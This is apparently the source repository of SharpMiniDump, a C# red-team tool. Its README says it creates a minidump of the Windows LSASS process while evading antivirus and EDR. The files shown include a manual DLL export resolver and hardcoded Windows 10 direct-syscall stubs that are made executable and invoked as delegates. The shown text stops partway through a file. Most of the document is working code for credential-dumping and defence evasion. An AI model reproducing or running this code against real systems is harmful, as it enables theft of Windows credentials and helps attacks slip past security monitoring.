├── .gitattributes
├── .gitignore
├── LICENSE
├── README.md
├── SharpMiniDump.sln
└── SharpMiniDump
├── CustomLoadLibrary.cs
├── NativeSysCall.cs
├── Natives.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
└── SharpMiniDump.csproj
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 |
33 | # Visual Studio 2015/2017 cache/options directory
34 | .vs/
35 | # Uncomment if you have tasks that create the project's static files in wwwroot
36 | #wwwroot/
37 |
38 | # Visual Studio 2017 auto generated files
39 | Generated\ Files/
40 |
41 | # MSTest test Results
42 | [Tt]est[Rr]esult*/
43 | [Bb]uild[Ll]og.*
44 |
45 | # NUnit
46 | *.VisualState.xml
47 | TestResult.xml
48 | nunit-*.xml
49 |
50 | # Build Results of an ATL Project
51 | [Dd]ebugPS/
52 | [Rr]eleasePS/
53 | dlldata.c
54 |
55 | # Benchmark Results
56 | BenchmarkDotNet.Artifacts/
57 |
58 | # .NET Core
59 | project.lock.json
60 | project.fragment.lock.json
61 | artifacts/
62 |
63 | # StyleCop
64 | StyleCopReport.xml
65 |
66 | # Files built by Visual Studio
67 | *_i.c
68 | *_p.c
69 | *_h.h
70 | *.ilk
71 | *.meta
72 | *.obj
73 | *.iobj
74 | *.pch
75 | *.pdb
76 | *.ipdb
77 | *.pgc
78 | *.pgd
79 | *.rsp
80 | *.sbr
81 | *.tlb
82 | *.tli
83 | *.tlh
84 | *.tmp
85 | *.tmp_proj
86 | *_wpftmp.csproj
87 | *.log
88 | *.vspscc
89 | *.vssscc
90 | .builds
91 | *.pidb
92 | *.svclog
93 | *.scc
94 |
95 | # Chutzpah Test files
96 | _Chutzpah*
97 |
98 | # Visual C++ cache files
99 | ipch/
100 | *.aps
101 | *.ncb
102 | *.opendb
103 | *.opensdf
104 | *.sdf
105 | *.cachefile
106 | *.VC.db
107 | *.VC.VC.opendb
108 |
109 | # Visual Studio profiler
110 | *.psess
111 | *.vsp
112 | *.vspx
113 | *.sap
114 |
115 | # Visual Studio Trace Files
116 | *.e2e
117 |
118 | # TFS 2012 Local Workspace
119 | $tf/
120 |
121 | # Guidance Automation Toolkit
122 | *.gpState
123 |
124 | # ReSharper is a .NET coding add-in
125 | _ReSharper*/
126 | *.[Rr]e[Ss]harper
127 | *.DotSettings.user
128 |
129 | # JustCode is a .NET coding add-in
130 | .JustCode
131 |
132 | # TeamCity is a build add-in
133 | _TeamCity*
134 |
135 | # DotCover is a Code Coverage Tool
136 | *.dotCover
137 |
138 | # AxoCover is a Code Coverage Tool
139 | .axoCover/*
140 | !.axoCover/settings.json
141 |
142 | # Visual Studio code coverage results
143 | *.coverage
144 | *.coveragexml
145 |
146 | # NCrunch
147 | _NCrunch_*
148 | .*crunch*.local.xml
149 | nCrunchTemp_*
150 |
151 | # MightyMoose
152 | *.mm.*
153 | AutoTest.Net/
154 |
155 | # Web workbench (sass)
156 | .sass-cache/
157 |
158 | # Installshield output folder
159 | [Ee]xpress/
160 |
161 | # DocProject is a documentation generator add-in
162 | DocProject/buildhelp/
163 | DocProject/Help/*.HxT
164 | DocProject/Help/*.HxC
165 | DocProject/Help/*.hhc
166 | DocProject/Help/*.hhk
167 | DocProject/Help/*.hhp
168 | DocProject/Help/Html2
169 | DocProject/Help/html
170 |
171 | # Click-Once directory
172 | publish/
173 |
174 | # Publish Web Output
175 | *.[Pp]ublish.xml
176 | *.azurePubxml
177 | # Note: Comment the next line if you want to checkin your web deploy settings,
178 | # but database connection strings (with potential passwords) will be unencrypted
179 | *.pubxml
180 | *.publishproj
181 |
182 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
183 | # checkin your Azure Web App publish settings, but sensitive information contained
184 | # in these scripts will be unencrypted
185 | PublishScripts/
186 |
187 | # NuGet Packages
188 | *.nupkg
189 | # NuGet Symbol Packages
190 | *.snupkg
191 | # The packages folder can be ignored because of Package Restore
192 | **/[Pp]ackages/*
193 | # except build/, which is used as an MSBuild target.
194 | !**/[Pp]ackages/build/
195 | # Uncomment if necessary however generally it will be regenerated when needed
196 | #!**/[Pp]ackages/repositories.config
197 | # NuGet v3's project.json files produces more ignorable files
198 | *.nuget.props
199 | *.nuget.targets
200 |
201 | # Microsoft Azure Build Output
202 | csx/
203 | *.build.csdef
204 |
205 | # Microsoft Azure Emulator
206 | ecf/
207 | rcf/
208 |
209 | # Windows Store app package directories and files
210 | AppPackages/
211 | BundleArtifacts/
212 | Package.StoreAssociation.xml
213 | _pkginfo.txt
214 | *.appx
215 | *.appxbundle
216 | *.appxupload
217 |
218 | # Visual Studio cache files
219 | # files ending in .cache can be ignored
220 | *.[Cc]ache
221 | # but keep track of directories ending in .cache
222 | !?*.[Cc]ache/
223 |
224 | # Others
225 | ClientBin/
226 | ~$*
227 | *~
228 | *.dbmdl
229 | *.dbproj.schemaview
230 | *.jfm
231 | *.pfx
232 | *.publishsettings
233 | orleans.codegen.cs
234 |
235 | # Including strong name files can present a security risk
236 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
237 | #*.snk
238 |
239 | # Since there are multiple workflows, uncomment next line to ignore bower_components
240 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
241 | #bower_components/
242 |
243 | # RIA/Silverlight projects
244 | Generated_Code/
245 |
246 | # Backup & report files from converting an old project file
247 | # to a newer Visual Studio version. Backup files are not needed,
248 | # because we have git ;-)
249 | _UpgradeReport_Files/
250 | Backup*/
251 | UpgradeLog*.XML
252 | UpgradeLog*.htm
253 | ServiceFabricBackup/
254 | *.rptproj.bak
255 |
256 | # SQL Server files
257 | *.mdf
258 | *.ldf
259 | *.ndf
260 |
261 | # Business Intelligence projects
262 | *.rdl.data
263 | *.bim.layout
264 | *.bim_*.settings
265 | *.rptproj.rsuser
266 | *- [Bb]ackup.rdl
267 | *- [Bb]ackup ([0-9]).rdl
268 | *- [Bb]ackup ([0-9][0-9]).rdl
269 |
270 | # Microsoft Fakes
271 | FakesAssemblies/
272 |
273 | # GhostDoc plugin setting file
274 | *.GhostDoc.xml
275 |
276 | # Node.js Tools for Visual Studio
277 | .ntvs_analysis.dat
278 | node_modules/
279 |
280 | # Visual Studio 6 build log
281 | *.plg
282 |
283 | # Visual Studio 6 workspace options file
284 | *.opt
285 |
286 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
287 | *.vbw
288 |
289 | # Visual Studio LightSwitch build output
290 | **/*.HTMLClient/GeneratedArtifacts
291 | **/*.DesktopClient/GeneratedArtifacts
292 | **/*.DesktopClient/ModelManifest.xml
293 | **/*.Server/GeneratedArtifacts
294 | **/*.Server/ModelManifest.xml
295 | _Pvt_Extensions
296 |
297 | # Paket dependency manager
298 | .paket/paket.exe
299 | paket-files/
300 |
301 | # FAKE - F# Make
302 | .fake/
303 |
304 | # CodeRush personal settings
305 | .cr/personal
306 |
307 | # Python Tools for Visual Studio (PTVS)
308 | __pycache__/
309 | *.pyc
310 |
311 | # Cake - Uncomment if you are using it
312 | # tools/**
313 | # !tools/packages.config
314 |
315 | # Tabs Studio
316 | *.tss
317 |
318 | # Telerik's JustMock configuration file
319 | *.jmconfig
320 |
321 | # BizTalk build output
322 | *.btp.cs
323 | *.btm.cs
324 | *.odx.cs
325 | *.xsd.cs
326 |
327 | # OpenCover UI analysis results
328 | OpenCover/
329 |
330 | # Azure Stream Analytics local run output
331 | ASALocalRun/
332 |
333 | # MSBuild Binary and Structured Log
334 | *.binlog
335 |
336 | # NVidia Nsight GPU debugger configuration file
337 | *.nvuser
338 |
339 | # MFractors (Xamarin productivity tool) working folder
340 | .mfractor/
341 |
342 | # Local History for Visual Studio
343 | .localhistory/
344 |
345 | # BeatPulse healthcheck temp database
346 | healthchecksdb
347 |
348 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
349 | MigrationBackup/
350 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2019, b4rtik
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpMiniDump
2 |
3 | Create a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses: dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection.
4 |
5 | SharpMiniDump is a rough port of this project [Dumpert](https://github.com/outflanknl/Dumpert) by [@Cn33liz](https://twitter.com/Cneelis) and you will find the detail in this [post](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), so BIG credits to him.
6 |
7 | Other credits go to [@cobbr_io](https://twitter.com/cobbr_io) and [@TheRealWover](https://twitter.com/TheRealWover) for their work on [SharpSploit](https://github.com/cobbr/SharpSploit) (Execution / DynamicInvoke)
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/SharpMiniDump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.136
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpMiniDump", "SharpMiniDump\SharpMiniDump.csproj", "{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.ActiveCfg = Debug|x64
19 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.Build.0 = Debug|x64
20 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.ActiveCfg = Release|x64
23 | {6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {C4236FC6-7C6F-413C-9583-2CF9548B531E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SharpMiniDump/CustomLoadLibrary.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Author: B4rtik (@b4rtik)
3 | // Project: RedPeanut (https://github.com/b4rtik/RedPeanut)
4 | // License: BSD 3-Clause
5 | //
6 |
7 | using System;
8 | using System.Collections.Generic;
9 | using System.Diagnostics;
10 | using System.IO;
11 | using System.Linq;
12 | using System.Runtime.InteropServices;
13 | using System.Security.Cryptography;
14 | using System.Text;
15 |
16 | namespace SharpMiniDump
17 | {
18 | public class CustomLoadLibrary
19 | {
20 | ///
21 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
22 | ///
23 | /// Ruben Boonen (@FuzzySec)
24 | /// The path to the DLL on disk. Uses the LoadLibrary convention.
25 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.
26 | public static IntPtr LoadModuleFromDisk(string DLLPath)
27 | {
28 | Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING();
29 | Natives.RtlInitUnicodeString(ref uModuleName, DLLPath);
30 |
31 | IntPtr hModule = IntPtr.Zero;
32 | Natives.NTSTATUS CallResult = (Natives.NTSTATUS)Natives.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
33 | if (CallResult != Natives.NTSTATUS.Success || hModule == IntPtr.Zero)
34 | {
35 | return IntPtr.Zero;
36 | }
37 |
38 | return hModule;
39 | }
40 |
41 | public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false)
42 | {
43 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
44 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
45 | {
46 | hModule = LoadModuleFromDisk(DLLName);
47 | if (hModule == IntPtr.Zero)
48 | {
49 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
50 | }
51 | }
52 | else if (hModule == IntPtr.Zero)
53 | {
54 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
55 | }
56 |
57 | return hModule;
58 | }
59 |
60 | ///
61 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
62 | ///
63 | /// Ruben Boonen (@FuzzySec)
64 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
65 | /// Name of the exported procedure.
66 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
67 | /// IntPtr for the desired function.
68 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
69 | {
70 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
71 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
72 | {
73 | hModule = LoadModuleFromDisk(DLLName);
74 | if (hModule == IntPtr.Zero)
75 | {
76 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
77 | }
78 | }
79 | else if (hModule == IntPtr.Zero)
80 | {
81 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
82 | }
83 |
84 | return GetExportAddress(hModule, FunctionName);
85 | }
86 |
87 | ///
88 | /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing.
89 | ///
90 | /// Ruben Boonen (@FuzzySec)
91 | /// The name of the DLL (e.g. "ntdll.dll").
92 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
93 | public static IntPtr GetLoadedModuleAddress(string DLLName)
94 | {
95 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
96 | foreach (ProcessModule Mod in ProcModules)
97 | {
98 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
99 | {
100 | return Mod.BaseAddress;
101 | }
102 | }
103 |
104 | return IntPtr.Zero;
105 | }
106 | ///
107 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
108 | ///
109 | /// Ruben Boonen (@FuzzySec)
110 | /// A pointer to the base address where the module is loaded in the current process.
111 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
112 | /// IntPtr for the desired function.
113 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
114 | {
115 | IntPtr FunctionPtr = IntPtr.Zero;
116 | try
117 | {
118 | // Traverse the PE header in memory
119 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
120 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
121 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
122 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
123 | Int64 pExport = 0;
124 | if (Magic == 0x010b)
125 | {
126 | pExport = OptHeader + 0x60;
127 | }
128 | else
129 | {
130 | pExport = OptHeader + 0x70;
131 | }
132 |
133 | // Read -> IMAGE_EXPORT_DIRECTORY
134 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
135 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
136 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
137 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
138 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
139 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
140 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
141 |
142 | // Loop the array of export name RVA's
143 | for (int i = 0; i < NumberOfNames; i++)
144 | {
145 | String FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
146 | if (FunctionName.ToLower() == ExportName.ToLower())
147 | {
148 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
149 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
150 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
151 | break;
152 | }
153 | }
154 | }
155 | catch
156 | {
157 | // Catch parser failure
158 | throw new InvalidOperationException("Failed to parse module exports.");
159 | }
160 |
161 | if (FunctionPtr == IntPtr.Zero)
162 | {
163 | // Export not found
164 | throw new MissingMethodException(ExportName + ", export not found.");
165 | }
166 | return FunctionPtr;
167 | }
168 | }
169 | }
170 |
--------------------------------------------------------------------------------
/SharpMiniDump/NativeSysCall.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Author: B4rtik (@b4rtik)
3 | // Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)
4 | // License: BSD 3-Clause
5 | //
6 |
7 | using System;
8 | using System.ComponentModel;
9 | using System.Diagnostics;
10 | using System.Runtime.InteropServices;
11 | using System.Security;
12 | using static SharpMiniDump.Natives;
13 |
14 | namespace SharpMiniDump
15 | {
16 | class NativeSysCall
17 | {
18 | /// 0: 49 89 ca mov r10,rcx
19 | /// 3: b8 0f 00 00 00 mov eax,0x0f
20 | /// 8: 0f 05 syscall
21 | /// a: c3 ret
22 |
23 | static byte[] bZwClose10 = { 0x49, 0x89, 0xCA, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
24 |
25 | /// 0: 49 89 ca mov r10,rcx
26 | /// 3: b8 0f 00 00 00 mov eax,0x3A
27 | /// 8: 0f 05 syscall
28 | /// a: c3 ret
29 |
30 | static byte[] bZwWriteVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3A, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
31 |
32 | /// 0: 49 89 ca mov r10,rcx
33 | /// 3: b8 0f 00 00 00 mov eax,0x50
34 | /// 8: 0f 05 syscall
35 | /// a: c3 ret
36 |
37 | static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
38 |
39 | /// 0: 49 89 ca mov r10,rcx
40 | /// 3: b8 0f 00 00 00 mov eax,0x36
41 | /// 8: 0f 05 syscall
42 | /// a: c3 ret
43 |
44 | static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
45 |
46 | /// 0: 49 89 ca mov r10,rcx
47 | /// 3: b8 0f 00 00 00 mov eax,0x18
48 | /// 8: 0f 05 syscall
49 | /// a: c3 ret
50 |
51 | static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
52 |
53 | /// 0: 49 89 ca mov r10,rcx
54 | /// 3: b8 0f 00 00 00 mov eax,0x1E
55 | /// 8: 0f 05 syscall
56 | /// a: c3 ret
57 |
58 | static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
59 |
60 | /// 0: 49 89 ca mov r10,rcx
61 | /// 3: b8 0f 00 00 00 mov eax,0x55
62 | /// 8: 0f 05 syscall
63 | /// a: c3 ret
64 |
65 | static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
66 |
67 | ///0: 49 89 ca mov r10,rcx
68 | ///3: b8 26 00 00 00 mov eax,0x26
69 | ///8: 0f 05 syscall
70 | ///a: c3 ret
71 |
72 | static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
73 |
74 | public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid)
75 | {
76 | byte[] syscall = bZwOpenProcess10;
77 |
78 | unsafe
79 | {
80 | fixed (byte* ptr = syscall)
81 | {
82 |
83 | IntPtr memoryAddress = (IntPtr)ptr;
84 |
85 | if (!Natives.VirtualProtect(memoryAddress,
86 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
87 | {
88 | throw new Win32Exception();
89 | }
90 |
91 | Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));
92 |
93 | return (NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);
94 | }
95 | }
96 | }
97 |
98 | public static NTSTATUS ZwClose10(IntPtr handle)
99 | {
100 | byte[] syscall = bZwClose10;
101 |
102 | unsafe
103 | {
104 | fixed (byte* ptr = syscall)
105 | {
106 |
107 | IntPtr memoryAddress = (IntPtr)ptr;
108 |
109 | if (!Natives.VirtualProtect( memoryAddress,
110 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
111 | {
112 | throw new Win32Exception();
113 | }
114 |
115 | Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose));
116 |
117 | return (NTSTATUS)myAssemblyFunction(handle);
118 | }
119 | }
120 | }
121 |
122 | public static NTSTATUS ZwWriteVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten)
123 | {
124 | byte[] syscall = bZwWriteVirtualMemory10;
125 |
126 | unsafe
127 | {
128 | fixed (byte* ptr = syscall)
129 | {
130 |
131 | IntPtr memoryAddress = (IntPtr)ptr;
132 |
133 | if (!Natives.VirtualProtect( memoryAddress,
134 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
135 | {
136 | throw new Win32Exception();
137 | }
138 |
139 | Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
140 |
141 | return (NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
142 | }
143 | }
144 | }
145 |
146 | public static NTSTATUS ZwProtectVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten)
147 | {
148 | byte[] syscall = bZwProtectVirtualMemory10;
149 |
150 | unsafe
151 | {
152 | fixed (byte* ptr = syscall)
153 | {
154 |
155 | IntPtr memoryAddress = (IntPtr)ptr;
156 |
157 | if (!Natives.VirtualProtect(memoryAddress,
158 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
159 | {
160 | throw new Win32Exception();
161 | }
162 |
163 | Delegates.ZwProtectVirtualMemory myAssemblyFunction = (Delegates.ZwProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwProtectVirtualMemory));
164 |
165 | return (NTSTATUS)myAssemblyFunction(hProcess, ref lpBaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, ref lpNumberOfBytesWritten);
166 | }
167 | }
168 | }
169 |
170 | public static NTSTATUS ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength)
171 | {
172 | byte[] syscall = bZwQuerySystemInformation10;
173 |
174 | unsafe
175 | {
176 | fixed (byte* ptr = syscall)
177 | {
178 |
179 | IntPtr memoryAddress = (IntPtr)ptr;
180 |
181 | if (!Natives.VirtualProtect(memoryAddress,
182 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
183 | {
184 | throw new Win32Exception();
185 | }
186 |
187 | Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation));
188 |
189 | return (NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength);
190 | }
191 | }
192 | }
193 |
194 | public static NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect)
195 | {
196 | byte[] syscall = bNtAllocateVirtualMemory10;
197 |
198 | unsafe
199 | {
200 | fixed (byte* ptr = syscall)
201 | {
202 |
203 | IntPtr memoryAddress = (IntPtr)ptr;
204 |
205 | if (!Natives.VirtualProtect(memoryAddress,
206 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
207 | {
208 | throw new Win32Exception();
209 | }
210 |
211 | Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
212 |
213 | return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
214 | }
215 | }
216 | }
217 |
218 | public static NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType)
219 | {
220 | byte[] syscall = bNtFreeVirtualMemory10;
221 |
222 | unsafe
223 | {
224 | fixed (byte* ptr = syscall)
225 | {
226 |
227 | IntPtr memoryAddress = (IntPtr)ptr;
228 |
229 | if (!Natives.VirtualProtect(memoryAddress,
230 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
231 | {
232 | throw new Win32Exception();
233 | }
234 |
235 | Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory));
236 |
237 | return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType);
238 | }
239 | }
240 | }
241 |
242 | public static NTSTATUS NtCreateFile10(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
243 | Int32 desiredAccess,
